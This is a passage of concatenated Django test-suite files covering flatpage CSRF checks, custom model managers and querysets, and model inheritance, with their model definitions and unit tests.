        self.assertEqual(response.status_code, 403)

    def test_post_fallback_flatpage(self):
        "POSTing to a flatpage served by the middleware will raise a CSRF error if no token is provided (Refs #14156)"
        response = self.client.post('/flatpage/')
        self.assertEqual(response.status_code, 403)

    def test_post_unknown_page(self):
        "POSTing to an unknown page isn't caught as a 403 CSRF error"
        response = self.client.post('/no_such_page/')
        self.assertEqual(response.status_code, 404)


@ignore_warnings(category=RemovedInDjango20Warning)
@override_settings(
    MIDDLEWARE=None,
    MIDDLEWARE_CLASSES=[
        'django.middleware.common.CommonMiddleware',
        'django.contrib.sessions.middleware.SessionMiddleware',
        'django.middleware.csrf.CsrfViewMiddleware',
        'django.contrib.auth.middleware.AuthenticationMiddleware',
        'django.contrib.messages.middleware.MessageMiddleware',
        'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',
    ],
)
class FlatpageCSRFMiddlewareClassesTests(FlatpageCSRFTests):
    pass






"""
Giving models a custom manager

You can use a custom ``Manager`` in a particular model by extending the base
``Manager`` class and instantiating your custom ``Manager`` in your model.

There are two reasons you might want to customize a ``Manager``: to add extra
``Manager`` methods, and/or to modify the initial ``QuerySet`` the ``Manager``
returns.
"""

from __future__ import unicode_literals

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class PersonManager(models.Manager):
    def get_fun_people(self):
        return self.filter(fun=True)


class PublishedBookManager(models.Manager):
    def get_queryset(self):
        return super(PublishedBookManager, self).get_queryset().filter(is_published=True)


class CustomQuerySet(models.QuerySet):
    def filter(self, *args, **kwargs):
        queryset = super(CustomQuerySet, self).filter(fun=True)
        queryset._filter_CustomQuerySet = True
        return queryset

    def public_method(self, *args, **kwargs):
        return self.all()

    def _private_method(self, *args, **kwargs):
        return self.all()

    def optout_public_method(self, *args, **kwargs):
        return self.all()
    optout_public_method.queryset_only = True

    def _optin_private_method(self, *args, **kwargs):
        return self.all()
    _optin_private_method.queryset_only = False


class BaseCustomManager(models.Manager):
    def __init__(self, arg):
        super(BaseCustomManager, self).__init__()
        self.init_arg = arg

    def filter(self, *args, **kwargs):
        queryset = super(BaseCustomManager, self).filter(fun=True)
        queryset._filter_CustomManager = True
        return queryset

    def manager_only(self):
        return self.all()


CustomManager = BaseCustomManager.from_queryset(CustomQuerySet)


class CustomInitQuerySet(models.QuerySet):
    # QuerySet with an __init__() method that takes an additional argument.
    def __init__(self, custom_optional_arg=None, model=None, query=None, using=None, hints=None):
        super(CustomInitQuerySet, self).__init__(model=model, query=query, using=using, hints=hints)


class DeconstructibleCustomManager(BaseCustomManager.from_queryset(CustomQuerySet)):

    def __init__(self, a, b, c=1, d=2):
        super(DeconstructibleCustomManager, self).__init__(a)


class FunPeopleManager(models.Manager):
    def get_queryset(self):
        return super(FunPeopleManager, self).get_queryset().filter(fun=True)


class BoringPeopleManager(models.Manager):
    def get_queryset(self):
        return super(BoringPeopleManager, self).get_queryset().filter(fun=False)


@python_2_unicode_compatible
class Person(models.Model):
    first_name = models.CharField(max_length=30)
    last_name = models.CharField(max_length=30)
    fun = models.BooleanField(default=False)

    favorite_book = models.ForeignKey('Book', models.SET_NULL, null=True, related_name='favorite_books')
    favorite_thing_type = models.ForeignKey('contenttypes.ContentType', models.SET_NULL, null=True)
    favorite_thing_id = models.IntegerField(null=True)
    favorite_thing = GenericForeignKey('favorite_thing_type', 'favorite_thing_id')

    objects = PersonManager()
    fun_people = FunPeopleManager()
    boring_people = BoringPeopleManager()

    custom_queryset_default_manager = CustomQuerySet.as_manager()
    custom_queryset_custom_manager = CustomManager('hello')
    custom_init_queryset_manager = CustomInitQuerySet.as_manager()

    def __str__(self):
        return "%s %s" % (self.first_name, self.last_name)


@python_2_unicode_compatible
class FunPerson(models.Model):
    first_name = models.CharField(max_length=30)
    last_name = models.CharField(max_length=30)
    fun = models.BooleanField(default=True)
    favorite_book = models.ForeignKey(
        'Book',
        models.SET_NULL,
        null=True,
        related_name='fun_people_favorite_books',
    )
    favorite_thing_type = models.ForeignKey('contenttypes.ContentType', models.SET_NULL, null=True)
    favorite_thing_id = models.IntegerField(null=True)
    favorite_thing = GenericForeignKey('favorite_thing_type', 'favorite_thing_id')

    objects = FunPeopleManager()

    def __str__(self):
        return "%s %s" % (self.first_name, self.last_name)


@python_2_unicode_compatible
class Book(models.Model):
    title = models.CharField(max_length=50)
    author = models.CharField(max_length=30)
    is_published = models.BooleanField(default=False)
    published_objects = PublishedBookManager()
    authors = models.ManyToManyField(Person, related_name='books')
    fun_authors = models.ManyToManyField(FunPerson, related_name='books')
    favorite_things = GenericRelation(
        Person,
        content_type_field='favorite_thing_type',
        object_id_field='favorite_thing_id',
    )
    fun_people_favorite_things = GenericRelation(
        FunPerson,
        content_type_field='favorite_thing_type',
        object_id_field='favorite_thing_id',
    )

    def __str__(self):
        return self.title


class FastCarManager(models.Manager):
    def get_queryset(self):
        return super(FastCarManager, self).get_queryset().filter(top_speed__gt=150)


@python_2_unicode_compatible
class Car(models.Model):
    name = models.CharField(max_length=10)
    mileage = models.IntegerField()
    top_speed = models.IntegerField(help_text="In miles per hour.")
    cars = models.Manager()
    fast_cars = FastCarManager()

    def __str__(self):
        return self.name


class FastCarAsBase(Car):
    class Meta:
        proxy = True
        base_manager_name = 'fast_cars'


class FastCarAsDefault(Car):
    class Meta:
        proxy = True
        default_manager_name = 'fast_cars'


class RestrictedManager(models.Manager):
    def get_queryset(self):
        return super(RestrictedManager, self).get_queryset().filter(is_public=True)


@python_2_unicode_compatible
class RelatedModel(models.Model):
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class RestrictedModel(models.Model):
    name = models.CharField(max_length=50)
    is_public = models.BooleanField(default=False)
    related = models.ForeignKey(RelatedModel, models.CASCADE)

    objects = RestrictedManager()
    plain_manager = models.Manager()

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class OneToOneRestrictedModel(models.Model):
    name = models.CharField(max_length=50)
    is_public = models.BooleanField(default=False)
    related = models.OneToOneField(RelatedModel, models.CASCADE)

    objects = RestrictedManager()
    plain_manager = models.Manager()

    def __str__(self):
        return self.name


class AbstractPerson(models.Model):
    abstract_persons = models.Manager()
    objects = models.CharField(max_length=30)

    class Meta:
        abstract = True


class PersonFromAbstract(AbstractPerson):
    pass












from __future__ import unicode_literals

from django.db import models
from django.test import TestCase
from django.utils import six

from .models import (
    Book, Car, CustomManager, CustomQuerySet, DeconstructibleCustomManager,
    FastCarAsBase, FastCarAsDefault, FunPerson, OneToOneRestrictedModel,
    Person, PersonFromAbstract, PersonManager, PublishedBookManager,
    RelatedModel, RestrictedModel,
)


class CustomManagerTests(TestCase):
    custom_manager_names = [
        'custom_queryset_default_manager',
        'custom_queryset_custom_manager',
    ]

    @classmethod
    def setUpTestData(cls):
        cls.b1 = Book.published_objects.create(
            title="How to program", author="Rodney Dangerfield", is_published=True)
        cls.b2 = Book.published_objects.create(
            title="How to be smart", author="Albert Einstein", is_published=False)

        cls.p1 = Person.objects.create(first_name="Bugs", last_name="Bunny", fun=True)
        cls.droopy = Person.objects.create(first_name="Droopy", last_name="Dog", fun=False)

    def test_custom_manager_basic(self):
        """
        Test a custom Manager method.
        """
        self.assertQuerysetEqual(
            Person.objects.get_fun_people(), [
                "Bugs Bunny"
            ],
            six.text_type
        )

    def test_queryset_copied_to_default(self):
        """
        The methods of a custom QuerySet are properly copied onto the
        default Manager.
        """
        for manager_name in self.custom_manager_names:
            manager = getattr(Person, manager_name)

            # Public methods are copied
            manager.public_method()
            # Private methods are not copied
            with self.assertRaises(AttributeError):
                manager._private_method()

    def test_manager_honors_queryset_only(self):
        for manager_name in self.custom_manager_names:
            manager = getattr(Person, manager_name)
            # Methods with queryset_only=False are copied even if they are private.
            manager._optin_private_method()
            # Methods with queryset_only=True aren't copied even if they are public.
            with self.assertRaises(AttributeError):
                manager.optout_public_method()

    def test_manager_use_queryset_methods(self):
        """
        Custom manager will use the queryset methods
        """
        for manager_name in self.custom_manager_names:
            manager = getattr(Person, manager_name)
            queryset = manager.filter()
            self.assertQuerysetEqual(queryset, ["Bugs Bunny"], six.text_type)
            self.assertIs(queryset._filter_CustomQuerySet, True)

            # Test that specialized querysets inherit from our custom queryset.
            queryset = manager.values_list('first_name', flat=True).filter()
            self.assertEqual(list(queryset), [six.text_type("Bugs")])
            self.assertIs(queryset._filter_CustomQuerySet, True)

            self.assertIsInstance(queryset.values(), CustomQuerySet)
            self.assertIsInstance(queryset.values().values(), CustomQuerySet)
            self.assertIsInstance(queryset.values_list().values(), CustomQuerySet)

    def test_init_args(self):
        """
        The custom manager __init__() argument has been set.
        """
        self.assertEqual(Person.custom_queryset_custom_manager.init_arg, 'hello')

    def test_manager_attributes(self):
        """
        Custom manager method is only available on the manager and not on
        querysets.
        """
        Person.custom_queryset_custom_manager.manager_only()
        with self.assertRaises(AttributeError):
            Person.custom_queryset_custom_manager.all().manager_only()

    def test_queryset_and_manager(self):
        """
        Queryset method doesn't override the custom manager method.
        """
        queryset = Person.custom_queryset_custom_manager.filter()
        self.assertQuerysetEqual(queryset, ["Bugs Bunny"], six.text_type)
        self.assertIs(queryset._filter_CustomManager, True)

    def test_related_manager(self):
        """
        The related managers extend the default manager.
        """
        self.assertIsInstance(self.droopy.books, PublishedBookManager)
        self.assertIsInstance(self.b2.authors, PersonManager)

    def test_no_objects(self):
        """
        The default manager, "objects", doesn't exist, because a custom one
        was provided.
        """
        with self.assertRaises(AttributeError):
            Book.objects

    def test_filtering(self):
        """
        Custom managers respond to usual filtering methods
        """
        self.assertQuerysetEqual(
            Book.published_objects.all(), [
                "How to program",
            ],
            lambda b: b.title
        )

    def test_fk_related_manager(self):
        Person.objects.create(first_name="Bugs", last_name="Bunny", fun=True, favorite_book=self.b1)
        Person.objects.create(first_name="Droopy", last_name="Dog", fun=False, favorite_book=self.b1)
        FunPerson.objects.create(first_name="Bugs", last_name="Bunny", fun=True, favorite_book=self.b1)
        FunPerson.objects.create(first_name="Droopy", last_name="Dog", fun=False, favorite_book=self.b1)

        self.assertQuerysetEqual(
            self.b1.favorite_books.order_by('first_name').all(), [
                "Bugs",
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.fun_people_favorite_books.all(), [
                "Bugs",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.favorite_books(manager='boring_people').all(), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.favorite_books(manager='fun_people').all(), [
                "Bugs",
            ],
            lambda c: c.first_name,
            ordered=False,
        )

    def test_gfk_related_manager(self):
        Person.objects.create(first_name="Bugs", last_name="Bunny", fun=True, favorite_thing=self.b1)
        Person.objects.create(first_name="Droopy", last_name="Dog", fun=False, favorite_thing=self.b1)
        FunPerson.objects.create(first_name="Bugs", last_name="Bunny", fun=True, favorite_thing=self.b1)
        FunPerson.objects.create(first_name="Droopy", last_name="Dog", fun=False, favorite_thing=self.b1)

        self.assertQuerysetEqual(
            self.b1.favorite_things.all(), [
                "Bugs",
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.fun_people_favorite_things.all(), [
                "Bugs",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.favorite_things(manager='boring_people').all(), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.favorite_things(manager='fun_people').all(), [
                "Bugs",
            ],
            lambda c: c.first_name,
            ordered=False,
        )

    def test_m2m_related_manager(self):
        bugs = Person.objects.create(first_name="Bugs", last_name="Bunny", fun=True)
        self.b1.authors.add(bugs)
        droopy = Person.objects.create(first_name="Droopy", last_name="Dog", fun=False)
        self.b1.authors.add(droopy)
        bugs = FunPerson.objects.create(first_name="Bugs", last_name="Bunny", fun=True)
        self.b1.fun_authors.add(bugs)
        droopy = FunPerson.objects.create(first_name="Droopy", last_name="Dog", fun=False)
        self.b1.fun_authors.add(droopy)

        self.assertQuerysetEqual(
            self.b1.authors.order_by('first_name').all(), [
                "Bugs",
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.fun_authors.order_by('first_name').all(), [
                "Bugs",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.authors(manager='boring_people').all(), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.authors(manager='fun_people').all(), [
                "Bugs",
            ],
            lambda c: c.first_name,
            ordered=False,
        )

    def test_removal_through_default_fk_related_manager(self, bulk=True):
        bugs = FunPerson.objects.create(first_name="Bugs", last_name="Bunny", fun=True, favorite_book=self.b1)
        droopy = FunPerson.objects.create(first_name="Droopy", last_name="Dog", fun=False, favorite_book=self.b1)

        self.b1.fun_people_favorite_books.remove(droopy, bulk=bulk)
        self.assertQuerysetEqual(
            FunPerson._base_manager.filter(favorite_book=self.b1), [
                "Bugs",
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )

        self.b1.fun_people_favorite_books.remove(bugs, bulk=bulk)
        self.assertQuerysetEqual(
            FunPerson._base_manager.filter(favorite_book=self.b1), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        bugs.favorite_book = self.b1
        bugs.save()

        self.b1.fun_people_favorite_books.clear(bulk=bulk)
        self.assertQuerysetEqual(
            FunPerson._base_manager.filter(favorite_book=self.b1), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )

    def test_slow_removal_through_default_fk_related_manager(self):
        self.test_removal_through_default_fk_related_manager(bulk=False)

    def test_removal_through_specified_fk_related_manager(self, bulk=True):
        Person.objects.create(first_name="Bugs", last_name="Bunny", fun=True, favorite_book=self.b1)
        droopy = Person.objects.create(first_name="Droopy", last_name="Dog", fun=False, favorite_book=self.b1)

        # Check that the fun manager DOESN'T remove boring people.
        self.b1.favorite_books(manager='fun_people').remove(droopy, bulk=bulk)
        self.assertQuerysetEqual(
            self.b1.favorite_books(manager='boring_people').all(), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        # Check that the boring manager DOES remove boring people.
        self.b1.favorite_books(manager='boring_people').remove(droopy, bulk=bulk)
        self.assertQuerysetEqual(
            self.b1.favorite_books(manager='boring_people').all(), [
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        droopy.favorite_book = self.b1
        droopy.save()

        # Check that the fun manager ONLY clears fun people.
        self.b1.favorite_books(manager='fun_people').clear(bulk=bulk)
        self.assertQuerysetEqual(
            self.b1.favorite_books(manager='boring_people').all(), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.favorite_books(manager='fun_people').all(), [
            ],
            lambda c: c.first_name,
            ordered=False,
        )

    def test_slow_removal_through_specified_fk_related_manager(self):
        self.test_removal_through_specified_fk_related_manager(bulk=False)

    def test_removal_through_default_gfk_related_manager(self, bulk=True):
        bugs = FunPerson.objects.create(first_name="Bugs", last_name="Bunny", fun=True, favorite_thing=self.b1)
        droopy = FunPerson.objects.create(first_name="Droopy", last_name="Dog", fun=False, favorite_thing=self.b1)

        self.b1.fun_people_favorite_things.remove(droopy, bulk=bulk)
        self.assertQuerysetEqual(
            FunPerson._base_manager.order_by('first_name').filter(favorite_thing_id=self.b1.pk), [
                "Bugs",
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )

        self.b1.fun_people_favorite_things.remove(bugs, bulk=bulk)
        self.assertQuerysetEqual(
            FunPerson._base_manager.order_by('first_name').filter(favorite_thing_id=self.b1.pk), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        bugs.favorite_book = self.b1
        bugs.save()

        self.b1.fun_people_favorite_things.clear(bulk=bulk)
        self.assertQuerysetEqual(
            FunPerson._base_manager.order_by('first_name').filter(favorite_thing_id=self.b1.pk), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )

    def test_slow_removal_through_default_gfk_related_manager(self):
        self.test_removal_through_default_gfk_related_manager(bulk=False)

    def test_removal_through_specified_gfk_related_manager(self, bulk=True):
        Person.objects.create(first_name="Bugs", last_name="Bunny", fun=True, favorite_thing=self.b1)
        droopy = Person.objects.create(first_name="Droopy", last_name="Dog", fun=False, favorite_thing=self.b1)

        # Check that the fun manager DOESN'T remove boring people.
        self.b1.favorite_things(manager='fun_people').remove(droopy, bulk=bulk)
        self.assertQuerysetEqual(
            self.b1.favorite_things(manager='boring_people').all(), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )

        # Check that the boring manager DOES remove boring people.
        self.b1.favorite_things(manager='boring_people').remove(droopy, bulk=bulk)
        self.assertQuerysetEqual(
            self.b1.favorite_things(manager='boring_people').all(), [
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        droopy.favorite_thing = self.b1
        droopy.save()

        # Check that the fun manager ONLY clears fun people.
        self.b1.favorite_things(manager='fun_people').clear(bulk=bulk)
        self.assertQuerysetEqual(
            self.b1.favorite_things(manager='boring_people').all(), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.favorite_things(manager='fun_people').all(), [
            ],
            lambda c: c.first_name,
            ordered=False,
        )

    def test_slow_removal_through_specified_gfk_related_manager(self):
        self.test_removal_through_specified_gfk_related_manager(bulk=False)

    def test_removal_through_default_m2m_related_manager(self):
        bugs = FunPerson.objects.create(first_name="Bugs", last_name="Bunny", fun=True)
        self.b1.fun_authors.add(bugs)
        droopy = FunPerson.objects.create(first_name="Droopy", last_name="Dog", fun=False)
        self.b1.fun_authors.add(droopy)

        self.b1.fun_authors.remove(droopy)
        self.assertQuerysetEqual(
            self.b1.fun_authors.through._default_manager.all(), [
                "Bugs",
                "Droopy",
            ],
            lambda c: c.funperson.first_name,
            ordered=False,
        )

        self.b1.fun_authors.remove(bugs)
        self.assertQuerysetEqual(
            self.b1.fun_authors.through._default_manager.all(), [
                "Droopy",
            ],
            lambda c: c.funperson.first_name,
            ordered=False,
        )
        self.b1.fun_authors.add(bugs)

        self.b1.fun_authors.clear()
        self.assertQuerysetEqual(
            self.b1.fun_authors.through._default_manager.all(), [
                "Droopy",
            ],
            lambda c: c.funperson.first_name,
            ordered=False,
        )

    def test_removal_through_specified_m2m_related_manager(self):
        bugs = Person.objects.create(first_name="Bugs", last_name="Bunny", fun=True)
        self.b1.authors.add(bugs)
        droopy = Person.objects.create(first_name="Droopy", last_name="Dog", fun=False)
        self.b1.authors.add(droopy)

        # Check that the fun manager DOESN'T remove boring people.
        self.b1.authors(manager='fun_people').remove(droopy)
        self.assertQuerysetEqual(
            self.b1.authors(manager='boring_people').all(), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )

        # Check that the boring manager DOES remove boring people.
        self.b1.authors(manager='boring_people').remove(droopy)
        self.assertQuerysetEqual(
            self.b1.authors(manager='boring_people').all(), [
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.b1.authors.add(droopy)

        # Check that the fun manager ONLY clears fun people.
        self.b1.authors(manager='fun_people').clear()
        self.assertQuerysetEqual(
            self.b1.authors(manager='boring_people').all(), [
                "Droopy",
            ],
            lambda c: c.first_name,
            ordered=False,
        )
        self.assertQuerysetEqual(
            self.b1.authors(manager='fun_people').all(), [
            ],
            lambda c: c.first_name,
            ordered=False,
        )

    def test_deconstruct_default(self):
        mgr = models.Manager()
        as_manager, mgr_path, qs_path, args, kwargs = mgr.deconstruct()
        self.assertFalse(as_manager)
        self.assertEqual(mgr_path, 'django.db.models.manager.Manager')
        self.assertEqual(args, ())
        self.assertEqual(kwargs, {})

    def test_deconstruct_as_manager(self):
        mgr = CustomQuerySet.as_manager()
        as_manager, mgr_path, qs_path, args, kwargs = mgr.deconstruct()
        self.assertTrue(as_manager)
        self.assertEqual(qs_path, 'custom_managers.models.CustomQuerySet')

    def test_deconstruct_from_queryset(self):
        mgr = DeconstructibleCustomManager('a', 'b')
        as_manager, mgr_path, qs_path, args, kwargs = mgr.deconstruct()
        self.assertFalse(as_manager)
        self.assertEqual(mgr_path, 'custom_managers.models.DeconstructibleCustomManager')
        self.assertEqual(args, ('a', 'b',))
        self.assertEqual(kwargs, {})

        mgr = DeconstructibleCustomManager('x', 'y', c=3, d=4)
        as_manager, mgr_path, qs_path, args, kwargs = mgr.deconstruct()
        self.assertFalse(as_manager)
        self.assertEqual(mgr_path, 'custom_managers.models.DeconstructibleCustomManager')
        self.assertEqual(args, ('x', 'y',))
        self.assertEqual(kwargs, {'c': 3, 'd': 4})

    def test_deconstruct_from_queryset_failing(self):
        mgr = CustomManager('arg')
        msg = ("Could not find manager BaseCustomManagerFromCustomQuerySet in "
               "django.db.models.manager.\n"
               "Please note that you need to inherit from managers you "
               "dynamically generated with 'from_queryset()'.")
        with self.assertRaisesMessage(ValueError, msg):
            mgr.deconstruct()

    def test_abstract_model_with_custom_manager_name(self):
        """
        A custom manager may be defined on an abstract model.
        It will be inherited by the abstract model's children.
        """
        PersonFromAbstract.abstract_persons.create(objects='Test')
        self.assertQuerysetEqual(
            PersonFromAbstract.abstract_persons.all(), ["Test"],
            lambda c: c.objects,
        )


class TestCars(TestCase):

    def test_managers(self):
        # Each model class gets a "_default_manager" attribute, which is a
        # reference to the first manager defined in the class.
        Car.cars.create(name="Corvette", mileage=21, top_speed=180)
        Car.cars.create(name="Neon", mileage=31, top_speed=100)

        self.assertQuerysetEqual(
            Car._default_manager.order_by("name"), [
                "Corvette",
                "Neon",
            ],
            lambda c: c.name
        )
        self.assertQuerysetEqual(
            Car.cars.order_by("name"), [
                "Corvette",
                "Neon",
            ],
            lambda c: c.name
        )
        # alternate manager
        self.assertQuerysetEqual(
            Car.fast_cars.all(), [
                "Corvette",
            ],
            lambda c: c.name
        )
        # explicit default manager
        self.assertQuerysetEqual(
            FastCarAsDefault.cars.order_by("name"), [
                "Corvette",
                "Neon",
            ],
            lambda c: c.name
        )
        self.assertQuerysetEqual(
            FastCarAsDefault._default_manager.all(), [
                "Corvette",
            ],
            lambda c: c.name
        )
        # explicit base manager
        self.assertQuerysetEqual(
            FastCarAsBase.cars.order_by("name"), [
                "Corvette",
                "Neon",
            ],
            lambda c: c.name
        )
        self.assertQuerysetEqual(
            FastCarAsBase._base_manager.all(), [
                "Corvette",
            ],
            lambda c: c.name
        )


class CustomManagersRegressTestCase(TestCase):
    def test_filtered_default_manager(self):
        """Even though the default manager filters out some records,
        we must still be able to save (particularly, save by updating
        existing records) those filtered instances. This is a
        regression test for #8990, #9527"""
        related = RelatedModel.objects.create(name="xyzzy")
        obj = RestrictedModel.objects.create(name="hidden", related=related)
        obj.name = "still hidden"
        obj.save()

        # If the hidden object wasn't seen during the save process,
        # there would now be two objects in the database.
        self.assertEqual(RestrictedModel.plain_manager.count(), 1)

    def test_delete_related_on_filtered_manager(self):
        """Deleting related objects should also not be distracted by a
        restricted manager on the related object. This is a regression
        test for #2698."""
        related = RelatedModel.objects.create(name="xyzzy")

        for name, public in (('one', True), ('two', False), ('three', False)):
            RestrictedModel.objects.create(name=name, is_public=public, related=related)

        obj = RelatedModel.objects.get(name="xyzzy")
        obj.delete()

        # All of the RestrictedModel instances should have been
        # deleted, since they *all* pointed to the RelatedModel. If
        # the default manager is used, only the public one will be
        # deleted.
        self.assertEqual(len(RestrictedModel.plain_manager.all()), 0)

    def test_delete_one_to_one_manager(self):
        # The same test case as the last one, but for one-to-one
        # models, which are implemented slightly different internally,
        # so it's a different code path.
        obj = RelatedModel.objects.create(name="xyzzy")
        OneToOneRestrictedModel.objects.create(name="foo", is_public=False, related=obj)
        obj = RelatedModel.objects.get(name="xyzzy")
        obj.delete()
        self.assertEqual(len(OneToOneRestrictedModel.plain_manager.all()), 0)

    def test_queryset_with_custom_init(self):
        """
        BaseManager.get_queryset() should use kwargs rather than args to allow
        custom kwargs (#24911).
        """
        qs_custom = Person.custom_init_queryset_manager.all()
        qs_default = Person.objects.all()
        self.assertQuerysetEqual(qs_custom, qs_default)






"""
XX. Model inheritance

Model inheritance exists in two varieties:
    - abstract base classes which are a way of specifying common
      information inherited by the subclasses. They don't exist as a separate
      model.
    - non-abstract base classes (the default), which are models in their own
      right with their own database tables and everything. Their subclasses
      have references back to them, created automatically.

Both styles are demonstrated here.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


#
# Abstract base classes
#


@python_2_unicode_compatible
class CommonInfo(models.Model):
    name = models.CharField(max_length=50)
    age = models.PositiveIntegerField()

    class Meta:
        abstract = True
        ordering = ['name']

    def __str__(self):
        return '%s %s' % (self.__class__.__name__, self.name)


class Worker(CommonInfo):
    job = models.CharField(max_length=50)


class Student(CommonInfo):
    school_class = models.CharField(max_length=10)

    class Meta:
        pass


#
# Abstract base classes with related models
#

class Post(models.Model):
    title = models.CharField(max_length=50)


@python_2_unicode_compatible
class Attachment(models.Model):
    post = models.ForeignKey(
        Post,
        models.CASCADE,
        related_name='attached_%(class)s_set',
        related_query_name='attached_%(app_label)s_%(class)ss',
    )
    content = models.TextField()

    class Meta:
        abstract = True

    def __str__(self):
        return self.content


class Comment(Attachment):
    is_spam = models.BooleanField(default=False)


class Link(Attachment):
    url = models.URLField()


#
# Multi-table inheritance
#

@python_2_unicode_compatible
class Chef(models.Model):
    name = models.CharField(max_length=50)

    def __str__(self):
        return "%s the chef" % self.name


@python_2_unicode_compatible
class Place(models.Model):
    name = models.CharField(max_length=50)
    address = models.CharField(max_length=80)

    def __str__(self):
        return "%s the place" % self.name


class Rating(models.Model):
    rating = models.IntegerField(null=True, blank=True)

    class Meta:
        abstract = True
        ordering = ['-rating']


@python_2_unicode_compatible
class Restaurant(Place, Rating):
    serves_hot_dogs = models.BooleanField(default=False)
    serves_pizza = models.BooleanField(default=False)
    chef = models.ForeignKey(Chef, models.SET_NULL, null=True, blank=True)

    class Meta(Rating.Meta):
        db_table = 'my_restaurant'

    def __str__(self):
        return "%s the restaurant" % self.name


@python_2_unicode_compatible
class ItalianRestaurant(Restaurant):
    serves_gnocchi = models.BooleanField(default=False)

    def __str__(self):
        return "%s the italian restaurant" % self.name


@python_2_unicode_compatible
class Supplier(Place):
    customers = models.ManyToManyField(Restaurant, related_name='provider')

    def __str__(self):
        return "%s the supplier" % self.name


@python_2_unicode_compatible
class ParkingLot(Place):
    # An explicit link to the parent (we can control the attribute name).
    parent = models.OneToOneField(Place, models.CASCADE, primary_key=True, parent_link=True)
    main_site = models.ForeignKey(Place, models.CASCADE, related_name='lot')

    def __str__(self):
        return "%s the parking lot" % self.name


#
# Abstract base classes with related models where the sub-class has the
# same name in a different app and inherits from the same abstract base
# class.
# NOTE: The actual API tests for the following classes are in
#       model_inheritance_same_model_name/models.py - They are defined
#       here in order to have the name conflict between apps
#

class Title(models.Model):
    title = models.CharField(max_length=50)


class NamedURL(models.Model):
    title = models.ForeignKey(Title, models.CASCADE, related_name='attached_%(app_label)s_%(class)s_set')
    url = models.URLField()

    class Meta:
        abstract = True


class Mixin(object):
    def __init__(self):
        self.other_attr = 1
        super(Mixin, self).__init__()


class MixinModel(models.Model, Mixin):
    pass


class Base(models.Model):
    titles = models.ManyToManyField(Title)


class SubBase(Base):
    sub_id = models.IntegerField(primary_key=True)


class GrandParent(models.Model):
    first_name = models.CharField(max_length=80)
    last_name = models.CharField(max_length=80)
    email = models.EmailField(unique=True)

    class Meta:
        unique_together = ('first_name', 'last_name')


class Parent(GrandParent):
    pass


class Child(Parent):
    pass


class GrandChild(Child):
    pass






from __future__ import unicode_literals

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.core.checks import Error
from django.core.exceptions import FieldDoesNotExist, FieldError
from django.db import models
from django.test import TestCase
from django.test.utils import isolate_apps


@isolate_apps('model_inheritance')
class AbstractInheritanceTests(TestCase):
    def test_single_parent(self):
        class AbstractBase(models.Model):
            name = models.CharField(max_length=30)

            class Meta:
                abstract = True

        class AbstractDescendant(AbstractBase):
            name = models.CharField(max_length=50)

            class Meta:
                abstract = True

        class DerivedChild(AbstractBase):
            name = models.CharField(max_length=50)

        class DerivedGrandChild(AbstractDescendant):
            pass

        self.assertEqual(AbstractDescendant._meta.get_field('name').max_length, 50)
        self.assertEqual(DerivedChild._meta.get_field('name').max_length, 50)
        self.assertEqual(DerivedGrandChild._meta.get_field('name').max_length, 50)

    def test_multiple_parents_mro(self):
        class AbstractBaseOne(models.Model):
            class Meta:
                abstract = True

        class AbstractBaseTwo(models.Model):
            name = models.CharField(max_length=30)

            class Meta:
                abstract = True

        class DescendantOne(AbstractBaseOne, AbstractBaseTwo):
            class Meta:
                abstract = True

        class DescendantTwo(AbstractBaseOne, AbstractBaseTwo):
            name = models.CharField(max_length=50)

            class Meta:
                abstract = True

        class Derived(DescendantOne, DescendantTwo):
            pass

        self.assertEqual(DescendantOne._meta.get_field('name').max_length, 30)
        self.assertEqual(DescendantTwo._meta.get_field('name').max_length, 50)
        self.assertEqual(Derived._meta.get_field('name').max_length, 50)

    def test_multiple_inheritance_cannot_shadow_concrete_inherited_field(self):
        class ConcreteParent(models.Model):
            name = models.CharField(max_length=255)

        class AbstractParent(models.Model):
            name = models.IntegerField()

            class Meta:
                abstract = True

        class FirstChild(ConcreteParent, AbstractParent):
            pass

        class AnotherChild(AbstractParent, ConcreteParent):
            pass

        self.assertIsInstance(FirstChild._meta.get_field('name'), models.CharField)
        self.assertEqual(
